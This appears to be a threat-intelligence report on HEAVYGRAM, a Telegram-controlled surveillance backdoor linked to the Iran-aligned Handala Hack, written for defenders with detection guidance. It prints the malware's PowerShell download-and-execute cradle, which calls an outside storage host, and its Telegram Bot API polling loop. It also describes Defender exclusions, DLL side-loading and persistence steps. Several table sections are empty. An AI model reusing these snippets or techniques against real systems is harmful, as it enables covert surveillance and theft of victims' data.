Overview

On September 17, 2026, Group-IB published a technical report tying a Telegram-based surveillance backdoor called HEAVYGRAM to Handala Hack, the Iran-linked "hacktivist" persona that emerged in the days after the October 7, 2023 Hamas-led attacks on southern Israel. The report -- corroborated the same week by The Hacker News and building on two FBI FLASH alerts issued in March and September 2026 -- describes a malware family that has been quietly targeting Iranian dissidents, journalists, and opposition figures since at least September 2023, using nothing more exotic than the public Telegram Bot API as its command-and-control channel.

Handala Hack is assessed to be an online front for Void Manticore (also tracked as Banished Kitten, Red Sandstorm, and Storm-0842), a threat actor affiliated with Iran's Ministry of Intelligence and Security (MOIS). The persona has a documented history of destructive wiping attacks and hack-and-leak operations, including the doxxing of five Iran International journalists in 2025 and, according to Handala's own claims, a March 2026 wiper attack against U.S. medical device manufacturer Stryker and a breach of FBI Director Kash Patel's personal email.

HEAVYGRAM itself is unremarkable in isolation -- a Python backdoor compiled with PyInstaller that steals passwords, screenshots, microphone audio, and Telegram/WhatsApp data. What makes it worth a full write-up is the C2 design: rather than standing up dedicated infrastructure, the operators poll the Telegram Bot API in a loop from a PowerShell process running on the victim host. That single design choice buys them a natively encrypted channel that blends into ordinary HTTPS traffic, costs nothing to run, and can be rotated by generating a new bot token -- no new domain, no new IP, no new certificate.

Threat Actor Profile

Public persona: Handala Hack Assessed operator: Void Manticore (aka Banished Kitten, Red Sandstorm, Storm-0842) Attribution: Iran's Ministry of Intelligence and Security (MOIS) UK tracking name for the malware family: CHOSEN BRICK (NCSC) Active since: Handala persona formed shortly after October 7, 2023; earliest known HEAVYGRAM sample dated September 13, 2023 Primary objectives: Intelligence collection, data leaking, and reputational harm against targets of interest to the Iranian government

Handala Hack has cultivated a hacktivist image -- pro-Palestinian messaging, hack-and-leak operations timed for media impact -- while functioning as an intelligence-collection arm for MOIS. The UK National Cyber Security Centre, which tracks the same malware family as CHOSEN BRICK, describes it as "a flexible tool that can be used to support a range of potential operational outcomes," language that reflects the tool's dual use for both quiet, sustained surveillance and the noisier leak operations the persona is publicly known for.

Notable prior activity attributed to the group:

• Summer 2024 and January 2025: Intrusions against Iran International via compromised Telegram accounts, confirmed by the outlet in July 2025.
• September 2025: Canada's Rapid Response Mechanism issued an alert over Handala's targeting and doxxing of five Iran International journalists.
• March 19, 2026: The U.S. Department of Justice announced the seizure of four MOIS-linked domains (justicehomeland[.]org, karmabelow80[.]org, handala-redwanted[.]to, handala-hack[.]to) and filed a supporting affidavit.
• March 20, 2026: The FBI issued its first FLASH report on Telegram-based C2 malware linked to MOIS.
• September 15, 2026: The FBI issued an update to that FLASH report, which fed into Group-IB's follow-on research and the September 17 blog post that anchors this write-up.

Targets

HEAVYGRAM's victim profile is narrow and consistent with an intelligence-collection mission rather than opportunistic cybercrime:

• Iranian dissidents and activists
• Journalists covering Iran, including a UK-based journalist at a Farsi-language news organization
• Members of organizations opposed to the Iranian government
• At least one confirmed U.S.-based victim

Group-IB's assessment is that "the targeting profile could extend to any individual of interest to Iran" -- the malware itself is generic enough to be pointed at any target reachable through social engineering on a messaging platform.

Delivery and Initial Access

Victims are approached directly on messaging platforms -- primarily Telegram, but also WhatsApp and Instagram -- by operators posing as trusted contacts or offering technical support. The conversation culminates in a file transfer disguised as a legitimate application. Group-IB documented four distinct delivery mechanisms:

1. WSF/VBS droppers. An obfuscated VBScript checks whether the C: volume exceeds 50GB (a crude sandbox/small-disk evasion check) before decoding and running an embedded PowerShell stage. A sample submitted from Türkiye on April 14, 2024 followed this pattern.

2. HTA files with embedded decoy media. An HTML Application bundles a decoy video alongside the same VBScript/PowerShell chain. A sample submitted from Germany on April 13, 2025 contained an embedded MP4 with metadata timestamped April 12, 2025 and content assessed to have been filmed in Iran, displaying logos for the Imam Khomeini Relief Foundation and the Emdad-e Velayat Qard al-Hasan Fund.

3. Trojanized executables with embedded archives. A Delphi-based Windows screensaver file, named in Farsi ("لیست تکمیلی و اخراجی.scr" -- "Supplementary and expelled list"), was submitted from Germany on December 2, 2023. On execution it checks the COMPUTERNAME environment variable against a hardcoded value, performs an internet-connectivity check against google.com, drops an embedded ZIP (Runtime_SSH.zip) containing the RuntimeSSH.exe implant, and opens a decoy text file listing the names, student numbers, and majors of three individuals ("دانشجویان اخراجی.txt" -- "Expelled students") to sustain the social-engineering pretext.

4. CRUDEEXCLUDE-staged executables. CRUDEEXCLUDE is a separate Delphi-based utility, first documented by Google's Threat Intelligence team in December 2025, that masquerades as legitimate GUI applications -- Pictory and Telegram in the samples reviewed -- while quietly configuring Microsoft Defender exclusions and staging the next-stage payload. This is the mechanism behind the Pictory_premium_ver9.0.4.exe and Telegram.exe filenames present in the IOC list.

Across all four paths, the lure applications recur: Pictory, KeePass, Telegram, and WhatsApp (the latter typo'd as WhatssApp.exe in observed samples), plus a generic winappx.exe posing as remote-desktop software.

Attack Chain: Stage by Stage

Stage 1 -- Defense Evasion Staging (CRUDEEXCLUDE)

Where CRUDEEXCLUDE is used as the entry vector, it runs first and does the groundwork: adding Microsoft Defender path exclusions via PowerShell for %ALLUSERSPROFILE%\MicrosoftDistribution\sysmain, C:\Users\<username>\Downloads\Telegram Desktop, and %ALLUSERSPROFILE%\SMQDServicePackages\488ht1-8ww648q. It then drops a base64-encoded resource to %APPDATA%\downloaded_file26.txt, decodes it to %APPDATA%\ExtractedFile26.dat, renames it File26.zip, extracts it to C:\ProgramData\SMQDServicePackages\488ht1-8ww648q, and launches the implant directly via CreateProcessW.

Stage 2 -- PowerShell Download Cradle

Where the WSF/VBS/HTA path is used instead, the embedded PowerShell downloads a decoy document and a malicious archive from Vultr Object Storage, opens the decoy to maintain the pretext, then silently extracts and executes the real payload:

$path2 = $Env:temp+'\Artificial intelligence.pptx.pptx'
$client2 = New-Object System.Net.WebClient
$client2.downloadfile('hxxps://sgp1[.]vultrobjects[.]com/jttrepijgdb/Artificial%20intelligence.pptx', $path2)
Start-Process -FilePath $path2

$path3 = $Env:temp+'\a650bc3533b424d03.zip'
$client3 = New-Object System.Net.WebClient
$client3.downloadfile('hxxps://sgp1[.]vultrobjects[.]com/jttrepijgdb/efg_d4.zip', $path3)
Expand-Archive -Path $path3 -DestinationPath 'C:\ProgramData\ssh-cache-default\{8bda3848-495e-43f4-8d10-7d37a67f1604}' -Force
Start-Process -FilePath 'C:\ProgramData\ssh-cache-default\{8bda3848-495e-43f4-8d10-7d37a67f1604}\RuntimeSSH.exe'

Stage 3 -- Persistence and Anti-Duplication

The implant writes a lockfile (C:\ProgramData\lockfile49c4e.lock) to prevent multiple concurrent instances, then installs itself into the Windows autorun registry keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run or the HKLM equivalent) via built-in backdoor commands (reg for the main executable, regtro for a secondary trojan payload).

Stage 4 -- DLL Side-Loading

A notable defense-evasion step: the implant copies the legitimate Windows binary bthudtask.exe (normally at C:\Windows\SysWOW64\bthudtask.exe) into a spoofed directory path, C:\Windows \SysWOW64\ -- note the trailing space after "Windows", which is a valid but easily overlooked directory name on NTFS -- alongside a malicious DLL named with a dev, bit, or kee prefix. Launching the copied bthudtask.exe from the spoofed path causes it to load the attacker's DLL instead of the legitimate system one.

Stage 5 -- Telegram Bot API C2 Loop

Once running, the PowerShell-hosted implant establishes C2 entirely through the Telegram Bot API, polling in a loop:

$address = "hxxps://api[.]telegram[.]org/bot<TOKEN>:"
function Get-BotUpdates {
    param ([int]$offset = 0)
    $response = Invoke-RestMethod -Uri "$address/getUpdates?offset=$offset" -Method Get
    return $response.result
}

Incoming Telegram messages are parsed by a prefix scheme: @@ executes an arbitrary system command via os.popen; a double-backtick prefix writes the message body to C:\ProgramData\ur.txt; and ## unlocks a structured backdoor command suite (runexe, whois via api.ipify.org, runtro, cht to rotate the bot token/operator ID, regtro/reg for registry persistence, and dt to exfiltrate Telegram Desktop application data from %APPDATA%\Telegram Desktop and %LOCALAPPDATA%\Packages\TelegramMessengerLLP). File attachments sent through the bot are downloaded via getFile/getFile?file_id= and routed to disk or execution based on filename pattern matching. Two heartbeat functions keep the operator apprised of live hosts: an initial connection beacon containing the compromised host's full domain name, and a background thread that sends a heartbeat every 24 hours confirming the implant is still active.

Stage 6 -- Collection and Exfiltration

With C2 established, HEAVYGRAM's built-in capabilities cover the standard surveillance toolkit: process/system/network discovery, screenshot capture, microphone recording, browser data theft, saved-password theft, Telegram/WhatsApp data theft, additional payload download, and file deletion for cleanup. All of it moves back to the operator over the same Telegram channel used for commands.

Timeline

Why Telegram-as-C2 Works

The tradecraft decision at the center of this campaign is not novel in concept -- abuse of legitimate web services for C2 is a well-worn MITRE ATT&CK technique (T1102.002, Web Service: Bidirectional Communication) -- but it remains effective for structural reasons that are worth naming explicitly for defenders:

• Encryption is free. Telegram's API runs over TLS by default, so the C2 channel gets encryption without the operator managing certificates.
• No infrastructure to seize. The DOJ's March 2026 domain seizure hit Handala's web infrastructure, not its Telegram bot infrastructure. Rotating a compromised bot token (the cht command exists for exactly this) is trivial compared to standing up new C2 domains.
• Traffic blends in. api.telegram.org is a legitimate, widely-resolved domain. In environments where Telegram is not blocked -- and many are not, given its popularity for personal and even some business messaging -- outbound calls to it do not stand out from ordinary user traffic the way a connection to a bespoke C2 domain would.
• Low operational cost. No hosting bills, no domain renewals, no need to rotate IP infrastructure ahead of blocklist pressure.

This is precisely why our detection guidance below focuses on the PowerShell-side behavior of the C2 loop rather than the specific storage-bucket URLs from today's IOC list -- the URLs are disposable infrastructure; the polling behavior against the Telegram Bot API is the load-bearing part of the tradecraft and far more expensive for the actor to change.

Detection Guidance

Process / Script-Level (Endpoint, PowerShell Script Block Logging)

• Alert on PowerShell script block content (Event ID 4104) containing api.telegram.org combined with any of getUpdates, getFile?file_id=, or sendMessage?chat_id=, alongside an HTTP client cmdlet (Invoke-RestMethod, Invoke-WebRequest, or System.Net.WebClient). This is the anchor behavior for the entire campaign and is the basis of the Delta detection accompanying this write-up.
• Flag Start-Process or Expand-Archive operations targeting subdirectories of C:\ProgramData\ with randomly-generated or GUID-style folder names (e.g. ssh-cache-default\{8bda3848-...}, SMQDServicePackages\488ht1-8ww648q).
• Search endpoints for directory names containing a trailing space immediately after Windows (C:\Windows \) -- this is not a pattern that occurs in legitimate Windows installations and is specific to the DLL side-loading step.
• Alert on execution of bthudtask.exe from any path other than C:\Windows\SysWOW64\bthudtask.exe.
• Flag DLL loads into bthudtask.exe (or any signed system binary) where the DLL filename begins with dev, bit, or kee and does not match the binary's expected, digitally-signed dependency.
• Review new entries in HKCU\Software\Microsoft\Windows\CurrentVersion\Run and the HKLM equivalent for unsigned executables staged under %APPDATA% or C:\ProgramData.

Network-Level

• Review outbound HTTPS connections to api.telegram.org from managed endpoints where Telegram is not a sanctioned business application; a sudden, repeating polling cadence (consistent with a getUpdates loop) from a host that has no legitimate reason to talk to Telegram's API is a strong signal.
• Treat the current wave's Vultr Object Storage indicators (*.vultrobjects.com) as short-lived IOC-matching content for watchlists/ATS rather than durable detection logic -- expect the bucket names and paths to rotate on the next wave.
• Where full HTTPS inspection is available, review requests to api.ipify.org immediately preceding or following suspicious api.telegram.org traffic from the same host, consistent with the whois backdoor command.

Identity / Data Layer

• Monitor access to %APPDATA%\Telegram Desktop and %LOCALAPPDATA%\Packages\TelegramMessengerLLP by processes other than the legitimate Telegram Desktop client -- this directory is the specific exfiltration target of HEAVYGRAM's dt command.
• Apply application control / allow-listing to restrict execution of binaries from %APPDATA%, C:\ProgramData, and other user-writable paths, which materially raises the cost of every delivery mechanism documented above.

Indicators of Compromise

Network

File Hashes

Group-IB's report lists 38 associated hashes (first-stage droppers, ZIP/RAR archives, encrypted text artifacts, HEAVYGRAM/CRUDEEXCLUDE binaries) which are lengthy enough that we are not reproducing the full table here to avoid transcription error; see the Group-IB report linked in References for the authoritative hash list before loading into any blocklist or EDR indicator feed.

Host Artifacts

MITRE ATT&CK Mapping

Key Takeaways

HEAVYGRAM is a reminder that state-linked espionage tooling does not need to be technically sophisticated to be effective and durable -- it needs to be cheap to run, resistant to takedown, and quiet enough to blend into normal traffic. Three years of sustained operation against a narrow, high-value target set (journalists and dissidents) with a Python backdoor and a Telegram bot token demonstrates that the barrier to running a persistent surveillance operation against civil society targets is lower than defenders may assume.

For detection teams, the actionable lesson is to resist the urge to build coverage solely around today's delivery infrastructure. The Vultr Object Storage URLs in this brief will be retired after this wave; the pattern of a PowerShell process polling api.telegram.org for getUpdates will not change until the actor abandons Telegram entirely, which given the cost-benefit outlined above, seems unlikely in the near term. Organizations working with or supporting Iranian dissidents, journalists covering Iran, or diaspora advocacy organizations should treat this as an active, ongoing threat rather than a one-time IOC list to block.

References

1. Group-IB Threat Intelligence (Chatra, K.; Karakoç, B.; Zohdy, M.). "HEAVYGRAM: A Telegram-based Surveillance Backdoor Linked to Handala Hack." September 17, 2026. https://www.group-ib.com/blog/heavygram-handala-hack-telegram-c2/
2. Lakshmanan, Ravie. "Iran-Linked Handala Hack Tied to HEAVYGRAM Telegram Backdoor That Can Steal Passwords." The Hacker News, September 17, 2026. https://thehackernews.com/2026/09/iran-linked-handala-hack-tied-to.html
3. The Hacker News. "Iranian Hackers Breach FBI [coverage of March 2026 FLASH report]." March 2026. https://thehackernews.com/2026/03/iran-linked-hackers-breach-fbi.html
4. UK National Cyber Security Centre. "Iranian cyber targeting of dissidents, activists and journalists." https://www.ncsc.gov.uk/news/iranian-cyber-targeting-of-dissidents-activists-and-journalists
5. SOCRadar. "Dark Web Profile: Handala Hack." https://socradar.io/blog/dark-web-profile-handala-hack/
6. Picus Security. "Handala Threat Group Tactics, Targets, and Attack Timeline." https://www.picussecurity.com/resource/blog/handala-threat-group-tactics-targets-and-attack-timeline
7. GBHackers. "Handala Hack Uses CRUDEEXCLUDE to Disable Defender Protections and Deploy HEAVYGRAM." https://gbhackers.com/heavygram-malware-deployment/
8. Canada Global Affairs / Rapid Response Mechanism. "2025 Iran Hack" advisory on journalist doxxing. https://international.canada.ca/en/global-affairs/corporate/reports/rapid-response-mechanism/news/2025-iran-hack
9. Google Threat Intelligence. Changelog entry documenting CRUDEEXCLUDE, December 22, 2025. https://gtidocs.virustotal.com/changelog/december-22th-2025-new-integrations-and-detection-highlights